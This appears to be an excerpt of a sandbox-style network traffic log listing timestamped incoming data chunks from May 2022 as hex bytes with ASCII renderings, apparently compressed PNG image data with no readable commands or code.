2022-05-27 06:46:25 UTC 718 IN Data Raw: dd e8 d8 05 6b f2 8f cb 34 99 b2 73 0d 1a c2 33 89 d9 26 d7 5f 6f d2 31 b5 ce 38 d9 07 ae 21 73 33 73 93 06 
c8 ba c0 e2 c5 8b d9 7b cb 1d 77 dc 59 ee 01 6b 18 70 7f fb ed 57 ee 44 42 0c 52 10 18 e3 9c 9d 9d b9 f3 86 b0 53 7e 7e 
7e 74 ee dc 39 76 51 de bc 79 e1 0e 9d 90 9f 98 8b 97 e9 95 6d 71 74 2a 21 3b 5f 82 b8 74 42 eb 6b de 38 8e 1d 3b c6 
22 31 84 ff ab 88 84 d0 5b a9 69 a9 fc dc aa ab 87 92 aa e4 84 ff 09 ce 63 88 47 3b 77 ae be 1d f2 df 7f 5f c8 75 7a d6 6d 
b3 aa 8d 21 7c 6b f8 45 fa e1 48 72 a1 32 dc b6 a9 05 75 73 b5 a4 a5 01 a9 b4 e4 54 5a a1 f5 fd 9a 59 53 2b 87 86 f4 9d 
da f7 bf b3 17 0a ad 1f e7 63 47 6e b6 66 f4 7f 7b 13 69 9b 3a 47 c1 f5 10 f1 35 b6 2c 39 0f 10 be 12 03 62 b7 dc 32 b9 90 
e1 76 cb 96 cd aa bd 8a a4 5b 26 4f 66 63 b3 b1 f0 ec 
Data Ascii: k4s3&_o18!s3s{wYkpWDBRS~~~t9vQymqt*!;_tBk8;"1[icG;w_uzm!|kEHr2usTZYS+cGnf{i:G5,9b2v[&Ofc

Timestamp
kBytes
transferred

Direction Data
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2022-05-27 06:46:25 UTC 720 IN Data Raw: a1 ee 12 a5 be 21 30 b1 d8 b3 79 73 9e 74 84 be 99 8f 4f 2b ca ce be 44 01 01 01 94 10 9f a0 6d 59 32 a1 a1 
21 3c 99 3f 33 2b 4b 5b 62 20 2c 3c 8c 7e f8 fe 3b 5a ba 74 09 9d 3d 1b cc 76 4e 88 a5 b7 6f df 4e df 7e fb 0d 47 d3 82 6d 
34 29 31 89 ae e4 5d 0b fa 15 70 ea 14 8b 01 e1 9d f7 8f df 17 b2 60 b0 41 83 fa 2c de c3 a4 e2 2f bf fc 82 3d fd ea 36 c9 
92 68 d3 d6 57 f5 47 cd 69 df be 3d f4 f5 57 5f b1 0d 13 40 80 87 6f a9 f9 3f 7c cf 11 52 20 ee 6b de c2 8b d7 09 82 20 08 
82 20 08 75 93 6a 3f b2 ed 6e 67 4e 2d 1d 2c 8a 4c 0d d5 87 33 f0 6c d4 d0 e4 fa eb 4d 7a 08 5a 53 eb 8c 93 50 71 a0 e3 
02 2f 4e 45 25 18 87 75 a1 07 c2 9c 64 5f 2a 1c 5e 52 28 8c 79 83 7a e4 dd b8 21 d7 29 60 69 56 9f 7f bb da 98 16 18 d9 
da da b1 a7 91 f2 26 6b 6b 2b 3e 0e 06 01 30 13 
Data Ascii: !0ystO+DmY2!<?3+K[b ,<~;Zt=vNoN~Gm4)1]p`A,/=6hWGi=W_@o?|R k  uj?ngN-,L3lMzZSPq/NE%ud_*^R
(yz!)`iV&kk+>0

2022-05-27 06:46:25 UTC 721 IN Data Raw: 2f 93 a6 0c b0 fe aa 6c be f0 fc b3 b4 69 d3 26 ca c9 b9 4c 3d 7a f6 54 e5 d8 83 c3 8c bc fb f6 db b4 65 f3 e6 
42 fb 5d 48 4f 67 01 10 04 e8 7f 2e 5a a4 ea 8a 25 0b d3 51 b7 21 4c ff e2 f3 cf 39 14 34 a8 5f bf 1e d9 d9 db b1 a7 2f 1b 
1b 6b 2e fb 8d 55 7d 42 3b 82 7a 6b 61 29 13 3e 84 ba c9 80 01 03 d9 e3 40 74 74 14 7d fe d9 67 ec d5 b5 34 62 3c 78 
62 46 1b 01 a1 fa 77 df 7d cb c2 d6 6e dd bb 93 87 47 33 f5 de 0c 66 21 2e c4 b0 08 bb 63 0c 04 b9 cb 97 ff c3 fb 62 20 
09 a1 8b 30 41 08 a1 d7 f1 9e 2a 08 42 aa 3d f7 ec b3 2c dc c3 71 71 fc 36 6d da f0 f9 77 ee dc 45 11 5a 1d 87 08 1e a2 
96 82 6d 52 ce e5 1c de f6 d8 f1 63 f4 eb af bf d0 f1 63 c7 78 c0 0a 03 58 10 e0 2f 5d b2 84 d6 ae 59 cb 03 5b c6 44 46 45 
f2 f6 10 cd 63 e0 07 e1 b3 bd 54 c2 f9 7e f8 fe 7b 
Data Ascii: /li&L=zTeB]HOg.Z%Q!L94_/k.U}B;zka)>@tt}g4b<xbFw}nG3f!.cb 0A*B=,qq6mwEZmRccxX/]Y[DFEcT~{

2022-05-27 06:46:25 UTC 722 IN Data Raw: c0 03 8f 57 d8 ce 14 30 5e 7d f3 d5 d7 f4 e8 23 8f e4 4b 2f bf f4 32 1d 3b 76 8c 07 cc 1a 68 c6 24 d4 a7 43 87 
0e b1 a7 af 5f 7f f9 99 07 ee 2f 5f ce e1 01 b5 ce 9d 3b b3 e7 2e 53 64 66 66 d1 f6 6d db e9 c8 91 23 d4 b5 5b 37 1a 34 
68 30 39 34 2e 7c 3d 10 41 20 2c 2e 3c fd 6c df be 95 de 7a f3 4d fa e6 eb af 68 cb 96 2d 2c a4 2b eb 80 8f 83 43 63 9e 
b5 3a 74 d8 30 1a 30 60 10 8b 1d e0 01 48 66 8c 0a a5 01 02 98 31 63 c6 b0 57 3a d4 03 9d 61 c3 86 ab fa d4 84 0d c2 
c6 ef 98 dd bb 77 b1 c8 ae 4f 9f be 6a bf b1 f9 f6 d1 cb a2 a3 a3 53 a1 f2 b7 71 e3 7a 0e fb 88 d0 cc 63 c7 8e cd 27 aa 69 
df ae 3d f5 ef df 9f bd 54 41 9c 53 b0 6e c3 58 3c 77 ee 03 e4 e5 e5 a5 2d 31 18 81 27 4d ba 85 eb 8b b1 b0 86 31 3e b7 
d4 03 41 60 dc dc dc e8 b1 c7 1f a7 79 f3 1e a0 be 7d 
Data Ascii: W0^}#K/2;vh$C_/_;.Sdffm#[74h094.|=A ,.<lzMh-,+Cc:t00`Hf1cW:awOjSqzc'i=TASnX<w-1'M1>A`y}

2022-05-27 06:46:25 UTC 724 IN Data Raw: b6 bc 86 93 93 b3 f6 2f 41 10 2a 02 2b 2b 4b ea d8 b1 23 4d 99 3a 95 e6 dc 3f 87 5c 5c 5d 38 34 ed 89 e3 c7 
0b 0d be 20 2c 52 49 5e 0f 8c f7 41 18 f7 5f 7e f9 99 f6 ed dd c3 62 93 61 c3 87 d1 94 29 53 68 e6 6d b7 a9 73 76 d2 b6 
ba 46 4e 8e 61 10 a8 75 6b 83 10 be bc 40 04 63 67 5b fa 6f 03 bc 67 31 00 d5 54 7d af 20 5c 94 20 08 82 31 10 de 85 85 
85 5d 4d a6 06 ac 11 86 b6 b8 6f 21 ac 73 71 71 61 41 2f fe 8d b6 12 61 fd f1 1d 85 65 ba 00 b8 3c df 53 d5 05 78 df f6 f6 
f2 ba ee a4 bf 67 d0 cf 0a 0a 3a 4d 87 0e 1d a6 83 07 0f d2 a1 c3 87 d9 63 a0 df 91 23 f9 12 3c 0b 62 dd c1 83 87 68 df 
be fd 14 10 18 98 cf 16 62 ea 1c 65 4d 10 18 0a 82 20 d4 19 1a d8 50 ae 4d 17 95 3a 12 d5 b7 d0 16 d6 7e 16 1c 4f a1 ff 
ed 49 e0 b4 37 2a 83 aa 52 87 07 41 5c 60 40 00 7f 1f 
Data Ascii: /A*++K#M:?\\]84 ,RI^A_~ba)ShmsvFNauk@cg[og1T} \ 1]Mo!sqqaA/ae<Sxg:Mc#<bhbeM PM:~OI7*RA\`@

2022-05-27 06:46:25 UTC 725 IN Data Raw: eb 56 fa e6 9b af d9 ad 7d 5d e5 cd 6d d1 d4 fd bb 53 a5 4e c7 63 33 b5 3d 0d cc 5c 16 62 72 bb a2 52 4a 56 
d5 bb eb af ed 1c 3a 74 90 f6 ef df c7 e9 d8 b1 a3 6c 08 1a 32 64 28 3d fb dc 0b d4 aa 75 ab 32 19 76 51 2f a6 4d 9b 4e 
8f 3d f1 04 87 7d 0a 0a 0a e4 e3 fa f9 1d e6 01 b0 a1 43 87 d1 a4 5b 26 6b 5b 1b 44 78 b7 4c 9e 4c 63 c6 8c a5 cc cc 4c 
de 36 2c 2c 94 da b7 6f 47 a3 d5 b2 26 4d 4a 16 09 41 a4 d4 a6 4d 5b 9a 35 7b 36 f9 fa fa d2 b6 6d 5b 39 34 2d 3c 60 78 
36 f7 64 01 2d 06 f8 71 ec 23 47 fc 58 f8 30 61 c2 44 ba f7 be fb 78 9d 18 ae 85 ea 4a bf 7e fd c9 da da 86 36 6f de 44 6b 
d7 ae e1 3a a2 03 f1 dd 5f 7f ff 45 b9 b9 97 0b 95 61 78 c3 b2 b1 b5 a5 4d 9b 36 d2 f6 6d db 0a 79 97 3a 74 f0 10 fd f2 cb 
2f 65 1e 74 35 05 da 0b 84 ac 46 fd 3e 1f 1d ad 2d 
Data Ascii: V}]mSNc3=\brRJV:tl2d(=u2vQ/MN=}C[&k[DxLLcL6,,oG&MJAM[5{6m[94-<`x6d-q#GX0aDxJ~6oDk:_EaxM6
my:t/et5F>-

2022-05-27 06:46:25 UTC 729 IN Data Raw: 43 69 af 5e bd e8 a1 87 1e a6 6e dd ba 53 60 60 20 7d f5 f5 57 e4 77 c4 8f 2e 5f be ac 6d 25 08 55 43 fd 7a 44 
0d d4 ff 4a 9b 0a 9a f9 eb ab f2 6c 6a bb a2 92 20 08 82 20 08 82 20 08 82 50 3b b8 74 e9 12 65 67 67 57 59 aa 2b 5c ca 
b9 54 64 28 5a e0 e4 e4 54 6e 11 9e b3 b3 b3 f6 2f d3 e0 99 0a 82 20 08 65 07 13 54 06 0e 1c 44 8f 3e fa 38 35 6b d6 8c 
0e 1c 3c 40 3f cc 37 4c be cf cd cd a5 3c 4b 2f ca b3 eb 4d 57 cc 20 86 96 61 32 41 10 04 41 10 04 41 10 2a 06 e9 5d 08 
82 46 e7 ce 5d 58 88 37 7c f8 08 8a 8e 8e a6 6f bf fd 96 b6 6c d9 42 17 2f 5e d4 b6 10 04 41 10 04 41 10 04 41 10 04 41 
a8 9e 9c 38 71 82 0e 1e 3c 58 65 a9 ae 90 71 31 a3 58 11 5e 65 61 f0 84 97 ae fd 12 04 41 10 ca 0a bc 47 f7 ed db 97 85 
78 5d ba 74 e1 f7 24 84 78 fb 0f ec a7 cc cc 4c ca b3 
Data Ascii: Ci^nS`` }Ww._m%UCzDJlj   P;teggWY+\Td(ZTn/ eTD>85k<@?7L<K/MW a2AAA*]F]X7|olB/^AAAA8q<Xeq
1X^eaAGx]t$xL

2022-05-27 06:46:25 UTC 733 IN Data Raw: fb bb 3a d0 bb bb e2 39 0c ed 27 a3 5c d5 37 ee 05 da 19 71 91 3a 3b 59 d2 97 63 dd 54 ff 50 e6 9c d5 24 10 
c2 38 30 e0 14 35 b4 b0 a0 6e dd 7b 6a 4b 85 da c8 ce 9d 3b e9 c7 f9 3f 90 9f 9f 1f 4d 98 38 91 e6 ce 9d c7 df 91 0d 1a 
34 a0 7f fe fe 9b fe f7 bf f7 c9 dc dc 9c ee bc f3 2e ba e3 ce 3b 8b fd b6 36 e6 e0 fe bd ec 05 a7 7d 87 8e e5 f2 70 bd 6d cb
26 be 86 41 43 86 69 4b aa 1f 1b 36 6e 62 0f dc c8 af ea ea a9 17 b6 9e d3 a7 4f 93 a5 a5 25 7f 87 0b c2 8d e0 f7 3f 16 f1 
5f 84 9b ac 6a 30 41 0d 76 ad 01 03 fa 93 b7 97 97 b6 54 a8 2c 36 aa 76 31 e6 06 b6 8b 41 41 41 fc ce 81 07 fe eb 89 ae 
50 53 99 35 7b 16 8b da 26 4e bc 99 2c d4 37 5c 55 62 67 67 47 33 67 cc e0 48 0e 73 e7 cd e5 65 e8 7f c2 a6 8d eb e9 
d3 bb 37 7b da 05 78 2f fd f4 f3 cf aa 7e 9e a7 d9 
Data Ascii: :9'\7q:;YcTP$805n{jK;?M84.;6}pm&ACiK6nbO%?_j0AvT,6v1AAAPS5{&N,7\UbggG3gHse7{x/~

2022-05-27 06:46:25 UTC 735 IN Data Raw: c5 ee fc 31 00 00 ff f4 49 44 41 54 8b ce 9f 8b 16 f1 60 7a db b6 06 d1 dd 8e 1d db e9 eb 2f bf e4 59 c6 c6 c0 
50 b2 79 f3 66 7a ff fd 77 c9 cf cf 8f 0d 89 be ed da f1 a0 ff 3f cb 97 d3 0f df 7d 4f 41 81 81 da d6 65 c3 dd dd 9d 86 0c 1d 
42 4e ce ce ec 81 0d 02 bf d2 80 73 c3 80 07 c1 01 42 4e 14 04 eb e1 b1 0d 79 50 30 34 b9 9e 07 df 7d f7 2d 6d d9 b2 99 
8d 6a f0 b0 14 11 11 4e 8b ff fc 93 fe fe fb 2f fa ef bf d5 f4 cd 37 5f f3 71 7c 7d 7d d9 b0 b6 77 ef 5e fa f8 c3 0f 29 21 c1 74 
18 14 18 5b 57 af 5e 45 3f fd f4 23 8b df 3a 75 ee 4c b6 b6 76 e4 77 f8 10 8b 18 96 2e 5d a2 6d 69 00 c6 44 9c e7 93 8f 3f 
a2 13 27 fc 59 04 d8 46 3d 0b 18 07 97 2e 59 42 bf fc fc 13 85 04 07 6b 5b 1b c8 ca cc 52 f7 94 46 07 0f 1d a4 7f d4 75 1
e 3b 76 8c c3 b2 e0 19 c5 c4 c6 a8 
Data Ascii: 1IDAT`z/YPyfzw?}OAeBNsBNyP04}-mjN/7_q|}}w^)!t[W^E?#:uLvw.]miD?'YF=.YBk[RFu;v

2022-05-27 06:46:25 UTC 740 IN Data Raw: 10 04 41 10 2a 07 d8 7a 8e 1e 3d 4a 7e 7e 7e 85 92 ce e1 c3 87 8b 4d 15 05 26 f0 40 78 07 af dc 17 2f 5c d0 
96 5e 03 e2 3b 88 eb 90 5c 5c 5d d4 a7 ba 69 7b 24 44 6f b0 a9 15 65 c7 b2 51 df f7 45 85 19 86 d0 0e de e6 58 e0 57 41 
c6 8e 82 13 88 4d 51 d6 d0 b7 b8 37 4c 40 f6 f2 6e c9 de f4 bc bc 7d c8 d9 c5 a5 c8 fb 12 04 41 10 04 41 10 6a 07 22 c2 
13 04 41 10 6a 3c 1e 76 66 d4 cc de 9c cc 1b 18 0c 37 a9 d9 79 ec 09 0b 5e 71 f4 65 05 f9 f1 a7 1f e9 a5 97 5f 2a 94 f4 
19 a4 35 09 78 3f bb e3 8e 3b e9 89 27 9e 34 99 b0 ae 75 eb d6 da d6 e5 a7 57 af 5e d4 af 5f 7f f6 bc 03 31 01 66 d2 16 
47 72 72 12 5d 36 31 b0 6f 10 9c 55 ad 22 08 de c2 4c 01 f1 43 7c 42 02 1b 10 1b 35 ca 1f 12 b6 59 33 4f ba eb ee 7b 4c 
e6 29 d2 6d b3 66 91 57 81 19 b0 98 e5 da b0 08 4f 88 2d 
Data Ascii: A*z=J~~~M&@x/\^;\\]i{$DoeQEXWAMQ7L@n}AAj"Aj<vf7y^qe_*5x?;'4uW^_1fGrr]61oU"LC|B5Y3O{L)mfWO-

2022-05-27 06:46:25 UTC 744 IN Data Raw: 22 5d 8c 8f 57 f9 b0 95 d6 2f fd 9a be da 6f 4b c3 55 d7 e4 c9 1e 8e 54 c7 ec de 82 11 09 09 f1 ec e9 00 a2 ad 
86 0d 0b bf bf f7 45 66 d2 82 13 29 ec 35 c1 cd d6 9c 45 f8 a9 d9 79 74 47 a7 c6 14 ae be 05 e6 1f 49 a2 ac cb 57 f8 dd 0f 
ef 98 55 09 da c0 9d 3b 76 50 7a 7a 3a 8b 68 51 ef c3 55 bd 3e 7d fa 34 ed dc b9 83 b6 6d db ca 22 65 78 65 6d dd ba 35 
ef 03 f1 1b ea c9 69 55 bf cf 9c 39 c3 42 b6 94 d4 54 8a 52 ed 45 58 78 38 1d 3c 74 90 f6 ec de 4d 36 d6 36 f9 44 6c c9 
49 c9 74 ec d8 51 16 da 75 ea dc 99 3d cc ea 60 c0 2c 33 2b 93 db 93 90 90 60 ca b8 98 c1 6d 53 a4 3a 26 da 88 8d 1b 
37 d0 fe fd fb d8 b3 eb 84 09 13 79 7b 7d b0 e9 bf ff 56 b3 b7 09 88 01 0b 86 8e 87 88 37 2a 3a 8a 8e 1d 3d ca c2 5e dc 
6f 74 74 34 b7 77 21 21 21 b4 79 d3 26 16 00 f6 eb d7 
Data Ascii: "]W/oKUTEf)5EytGIWU;vPzz:hQU>}4m"exem5iU9BTREXx8<tM66DlItQu=`,3+`mS:&7y{}V7*:=^ott4w!!!y&

Timestamp
kBytes
transferred

Direction Data
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2022-05-27 06:46:25 UTC 748 IN Data Raw: 14 86 fd cc 4d ee 57 d3 c0 f5 db d8 58 73 d9 4b 4f 4b 63 51 50 41 92 93 53 78 39 be 3b 41 62 62 1c db 8d 0a 
02 e1 38 f2 cc c9 a5 7c 1e 18 85 fc e8 65 53 4f 2e ae 6e ec 85 10 40 bc 5b 16 3b 60 fe 32 ab 2d 14 6e 38 a8 73 49 89 09 
ea 3d 60 41 cd 55 5b ef e8 e4 9c ef 99 c3 83 6f 4b 9f 56 d5 56 80 57 d3 41 08 5a 44 f5 80 e0 7d ca 94 a9 e4 ed dd b2 c0 
d8 41 2f ba 6d d6 ac eb 16 e0 dd 30 54 7b 8c 31 03 53 e3 06 68 13 20 bc c3 7d 9a f2 34 2d d4 5d e0 cd 16 ed 8f 20 08 82 
20 08 82 20 54 04 95 aa a2 6a de bc 05 87 a8 8c 08 87 7b f9 08 93 c6 2a 10 15 15 c5 ae c0 e1 9e dc dd dd a3 c8 81 1a 
18 b5 e0 79 0b 03 27 a9 a9 a9 9c 30 eb 0c e1 3b 4c 19 cc d0 a9 c7 b6 d8 0f 86 1a 84 90 c5 3e 86 70 92 06 b0 5f 46 46 c6 
d5 75 f8 8b df b8 d6 8b da 79 0a 1a 40 b1 0c c7 2d 08 96 e3 
Data Ascii: MWXsKOKcQPASx9;Abb8|eSO.n@[;`2-n8sI=`AU[oKVVWAZD}A/m0T{1Sh }4-]   Tj{*y'0;L>p_FFuy@-

2022-05-27 06:46:25 UTC 752 IN Data Raw: 38 78 4e de 2d bd 4c 8f 1b 74 e8 c8 76 77 3c ab 10 55 87 4f fa 9f 64 a1 2e 26 4a 03 44 d4 41 94 a6 c5 4b fe a4 
e0 b3 67 79 4c aa 6f bf be bc 7f 5b 75 8f 28 7f b0 f3 9e 51 ef 58 67 75 7c d8 3e f5 fb c1 b8 01 c6 ab d0 56 21 20 4e a7 ce 
9d a8 67 8f 9e d4 aa 55 6b 9e a0 04 7b 2f ec ff 18 b7 90 be 8d 50 1d 81 b8 1f f5 05 4e 41 f4 71 0a 41 10 04 41 10 04 e1 fa 
a8 74 11 5e ef 3e 7d 28 33 2b 93 02 03 02 d8 20 04 f1 93 f1 c0 0c 44 36 10 99 0c 1c 34 98 ba 76 ed ca 62 2c 74 86 4c 89 
f0 60 84 42 e7 8a 85 4e ad 5a f1 b1 da b6 6d ab 3a da 09 74 fa 74 10 cf 60 f3 f5 f5 bd da a1 81 08 0f 1d 79 cc a2 9a 36 7d 
06 77 ba ba 74 e9 42 0e 4d 1c b8 e3 04 01 18 84 43 f7 dd 3f 87 05 56 38 1e 3a 44 10 85 40 20 b2 7b f7 2e 36 e0 96 56 84 
07 51 1f 3e 58 fb f7 1f 48 93 6f 9d cc 9d 47 
Data Ascii: 8xN-Ltvw<UOd.&JDAKgyLo[u(QXgu|>V! NgUk{/PNAqAAt^>}(3+ D64vb,tL`BNZm:tt`y6}wtBMC?V8:D@ {.
6VQ>XHoG

2022-05-27 06:46:25 UTC 756 IN Data Raw: 7d 61 27 29 98 87 10 b8 c0 23 22 fa eb 08 55 db a6 6d 3b ce 4f 84 ac 45 28 48 78 e5 42 9e e0 5a 00 da 44 d8 
ad 30 b9 d7 d9 c5 95 97 15 04 f6 b3 58 f5 dd 65 a3 9e 31 c2 6a d6 44 f4 70 b4 f0 1e 68 5c 26 91 7f c8 df f4 b4 34 ce 1f 87 
26 0e 64 6b 14 fe 13 f5 16 b6 2b 84 6d 2e 08 de 2b 45 85 a3 85 07 4a d8 a1 10 86 b8 20 b0 33 c7 c7 c5 b1 10 50 5f 7f 21 
fd 02 7b 48 2b aa bc 02 78 0a 83 c7 36 3c 7b 09 47 5b 7a 50 45 f0 cc d1 8e 35 66 2f 91 aa fd 4a 49 51 7f 73 59 c4 84 ba 
62 68 17 d3 55 bb 65 ce 09 db 1b 27 b4 67 d8 9f bd 68 aa 63 e8 f6 6a 84 a3 85 30 12 21 52 f5 65 c6 40 ec 87 3a 86 70 a5 
7a 3d 86 17 3e 94 45 84 a3 c6 b1 4d 81 f2 83 be 6f 4d 0d 47 6b 0c ea 18 ca 2a ec 80 dd ba 77 57 f7 1f c3 93 aa 21 12 47 
be 20 5f 11 42 16 4e 15 10 ee 1c cf a4 28 fb ad 4f 2b 
Data Ascii: }a')#"Um;OE(HxBZD0Xe1jDph\&4&dk+m.+EJ 3P_!{H+x6<{G[zPE5f/JIQsYbhUe'ghcj0!Re@:pz=>EMoMGk*
wW!G _BN(O+

2022-05-27 06:46:25 UTC 760 IN Data Raw: 6f b0 0d 1a 13 8f e8 06 fe 27 58 b8 e7 db ee da 7a 88 54 21 80 85 6d 1b a2 40 5c 27 ca 38 ec 26 28 0f 10 71 
42 48 e4 e8 d8 94 9a 7b 79 13 c2 aa 0a 85 61 f1 e8 b9 08 fe 8b ba 64 68 6b 0c f5 04 6d 1c a2 42 34 75 74 22 c7 a6 8e f9 
42 2c 43 00 1b 1b 7b 9e ed c5 86 89 d7 d7 da 45 d4 43 d4 03 cf e6 cd d9 56 a7 73 70 ff 5e f5 ff 7a d4 a9 4b 57 93 75 7a 
cf ae 9d aa 8e 65 d3 80 41 83 b9 ec e9 40 80 77 2e 3c 5c d5 53 78 bd c4 39 10 dd c1 9c ed 67 10 07 46 47 46 b2 b0 ab 
ad af af fa dd 4c db ab 66 70 e8 e0 21 da b0 61 1d 85 87 47 b0 f0 17 76 4e d8 1a 31 36 62 18 6b 69 41 03 06 0e e0 09 ec 
c6 79 86 71 0c 4c 08 3e e9 ef 4f f0 d2 aa d7 53 bc 4b 60 97 c4 38 c3 f8 09 13 f2 e5 ff 9d 77 dc 4e cd 54 bd 7d e3 cd 37 f3 
2d 3f 7d 1a 63 08 eb d9 be 8f 7a a3 bf b3 af 8e 21 f4 eb 
Data Ascii: o'XzT!m@\'8&(qBH{yadhkmB4ut"B,C{ECVsp^zKWuzeA@w.<\Sx9gFGFLfp!aGvN16bkiAyqL>OSK`8wNT}7-?}
cz!

2022-05-27 06:46:25 UTC 764 IN Data Raw: 7e f3 eb df 84 00 2d e0 60 52 f7 8d 93 26 4d 0e 17 01 b3 59 be 7c 85 bd f5 e6 9b a1 cb 0c 00 38 54 0c 1b 36 
2c 04 d9 f5 ed d3 c7 ce 38 f3 4c fb e5 2f ef b4 46 8d 1a 85 ae 8f 6e ff f9 cf ed c6 9b 6e 0a 5d 47 ff e9 4f 7f 0a fb b9 82 f4 
d1 94 d5 b6 72 43 f6 2e 64 df 99 b4 ca d6 6d e6 86 0a 70 28 7b ec b1 7f da bf fe f5 84 cd 9f 37 cf ee ff cb 03 76 de 79 e7 
5b f9 f2 15 42 4b b7 ef 7f f0 81 d5 ac 59 cb be fc f2 4b bb e5 e6 9f d8 72 02 f1 00 00 c0 11 a8 74 e9 52 e1 75 c1 c2 85 b9 
06 8c 95 2d 5b 36 04 df b5 6b db 76 b7 bd 72 c4 94 d7 c4 49 93 ec 93 4f 3e 0d 2d e0 2d 5f be 3c 39 87 ab 64 47 1f 7d b4 
1d 73 cc 31 99 a9 f2 4f 0f 45 97 29 5d d6 4a 14 2f 19 ae 73 6d d9 ba 25 33 e6 c8 b3 6e ed 5a 9b 35 73 a6 6d da b4 29 33 
64 67 0a 08 5c bc 68 51 e8 de 17 00 00 00 85 
Data Ascii: ~-`R&MY|8T6,8L/Fnn]GOrC.dmp({7vy[BKYKrtRu-[6kvrIO>--_<9dG}s1OE)]J/sm%3nZ5sm)3dg\hQ

2022-05-27 06:46:25 UTC 767 IN Data Raw: 55 d8 be 02 3f b3 5f b6 f8 be bd fe 8d c7 6c e2 1f 4f b5 e9 ff ba c4 ce ba 3f 59 c7 8f 8d b7 7b 4e ca 4c 82 42 45 
37 62 57 2c 5f 6e 8d 9b 34 cd b5 55 51 b5 7e f7 f4 c8 e5 36 75 c5 26 db b2 75 c7 e9 6c b5 32 c5 ec 8a 36 95 ec a6 4e 95 
ad 6c 2e d1 58 97 7c e3 92 70 43 28 bf 3e fc e0 c3 cc bb dd d3 6f 40 ad da 3d f4 d0 83 e1 b7 ae e0 e4 cb 2e bb dc 4e 3b 
fd f4 cc 14 3b d3 df 1e 05 ed 7e f6 e9 27 76 fe 05 17 da 85 17 5e b8 53 10 a2 fe ce 2a f8 5e 37 c9 cf 39 e7 1c 6b d6 ac f0 
b5 8e a7 65 d3 4d 34 dd ac ea dc a5 5b 66 68 8e 8d ab 67 db c0 f7 fe 68 f7 3f 31 d0 36 34 3a d1 4e ec de dc 9a 95 49 8e 
43 a6 0c b2 4f 07 4e b5 95 95 8f b3 6f df fe 13 bb b4 6b 4d db 9f ed c5 ae 1b f5 9a fd fd 5f cf db e0 c6 37 db 1f af 3f d6 1a 
57 dd 35 50 14 07 cf a0 01 fd c2 ef ad 6d 
Data Ascii: U?_lO?Y{NLBE7bW,_n4UQ~6u&ul26Nl.X|pC(>o@=.N;;~'v^S*^79keM4[fhgh?164:NICONokM_7?W5Pm

2022-05-27 06:46:25 UTC 772 IN Data Raw: f1 c4 8e 23 8a f2 56 37 f9 3d b4 a9 9b 73 d3 a0 64 b5 9c df 47 9d fd 73 0f 01 87 a1 3a e5 8b 87 ae 69 8b ef 87 
56 2c f3 4b 37 4f d5 45 be f6 e3 6a 75 42 af 6a 09 57 af 6a f1 56 c9 85 5f 59 52 75 fd ee d4 2a 82 f6 fb fa fd 85 df 64 f2 7e 
6b f2 db f5 61 7a 55 e0 bb ff 46 c3 fc 99 fd 93 fe 66 29 60 f7 f9 e7 9f 4b f6 35 53 72 5a b7 2d 5b d6 86 0e 1d 6a 0f 3f fc b0 
bd f7 ee bb bb fc 7e d5 4a 84 ce 93 f5 e0 da cb af bc 1c 1e ae 51 f7 fe 9a ee 8b cf 3f b7 c9 93 26 d9 3b c9 39 f5 c1 0d c2 
db 94 fc bd 9e 6b b3 a7 17 4f d6 5f 13 6b dc 28 cb 0d af 64 df 58 a5 66 2d ab b3 65 6b b8 61 b6 e7 d0 84 0d b6 62 de 2c 
9b 32 79 8e 4d f8 f8 11 bb f7 b7 bf b0 7b df 5f 68 6b 92 fc 9b 24 c7 4d 4b 86 0c b6 d7 ef be d9 7e f6 8f 8f 6c ec fc 9c 60 a5 
cd 65 ea 5a ed fa 4d ac 65 8d 22 
Data Ascii: #V7=sdGs:iV,K7OEjuBjWjV_YRu*d~kazUFf)`K5SrZ-[j?~JQ?&;9kO_k(dXf-ekab,2yM{_hk$MK~l`eZMe"

2022-05-27 06:46:25 UTC 776 IN Data Raw: 8a 15 2b 64 e6 c0 c1 a0 1b 8c 17 5f 7c 89 5d 78 d1 c5 e1 24 f5 a5 17 5f 0c df 93 2e 06 e8 82 d9 77 bf f3 bd d0 
0d 57 41 5f 00 3e 52 a9 2b c2 eb 6f b8 c1 ce 38 e3 cc 70 91 4f 01 a9 5a df 7a 9a bc 45 cb 96 f6 93 9b 6f b1 16 2d 9a 87 
8b 2e 85 99 6e 88 ac cb d2 85 92 e8 09 68 75 3d a1 1b 47 5a 5f ae 52 c5 4a b6 78 f1 a2 70 f3 f9 50 bd a8 26 6a e1 a6 47 
8f 1e e1 37 a4 80 32 b5 46 93 9b 70 a1 be 55 ab d0 72 82 82 cb 7f f3 eb 5f db 2f ef b8 c3 fe ef 77 bf 0b 01 78 fa ed 9d 73 
ee b9 e1 e2 e6 be a8 59 b3 a6 9d 7f c1 05 e1 a2 7b df be 7d ec 9e ff fd df 50 ce 5d 77 de 19 5e 15 04 3a 6f ee bc 02 59 af 
97 5c 72 49 68 e9 e7 c3 0f 3e 0c cb a3 32 7e 7e fb 6d 36 70 e0 c0 d0 42 50 b6 bf d7 0a 3a 50 60 91 2e ce fe 2c f9 9b a1 
00 28 05 d1 e5 46 7f 5f 14 54 f8 c3 1f ff 38 b4 
Data Ascii: +d_|]x$_.wWA_>R+o8pOZzEo-.nhu=GZ_RJxpP&jG72FpUr_/wxsY{}P]w^:oY\rIh>2~~m6pBP:P`.,(F_T8

2022-05-27 06:46:25 UTC 780 IN Data Raw: ac 5d 13 82 40 1b 26 49 e7 83 e3 c6 8e 09 41 70 ed da 77 d8 e3 36 e9 eb 49 bf 17 5d 53 d4 f9 8f ba 66 8e 5b 
17 74 fa 1e 27 4d 9c 10 02 05 d5 5d ab 02 43 27 24 df 91 82 e7 5a b7 69 1b ea 33 21 39 8e 54 b7 da 3a 4e 52 60 dd 8c 
e4 bc 4a c1 a9 aa 9f be 6f 05 c0 4e 9f 3e 35 b4 5e a7 07 9e ca 97 af 18 82 0f 8b 16 29 1a f2 d5 f6 ab a0 47 6d 47 5e f7 af 
bf fc 3c 04 f7 a8 ab d9 f4 f2 ec 69 7d 8a 5a d9 52 4b 7a 7a 80 52 dd 6c ee 0d fd ce 75 ad 4b 2d 3d ea a1 32 3d a4 72 38 
5c f7 fb dd 7d f7 d9 c8 91 23 ec 87 3f fa 51 72 5c ba 63 db d5 6f 4f 01 6e 0a a0 72 3a c6 7d f1 c5 17 92 f5 b8 ca 8e ee 71 
74 b8 96 ac c0 2a ed 1b 06 0e 18 10 82 f8 ce 3f ff 82 d0 2b 88 e8 c1 c7 1b 6f bc 21 39 56 ec 6a 77 24 c7 b0 69 3a 1f d7 
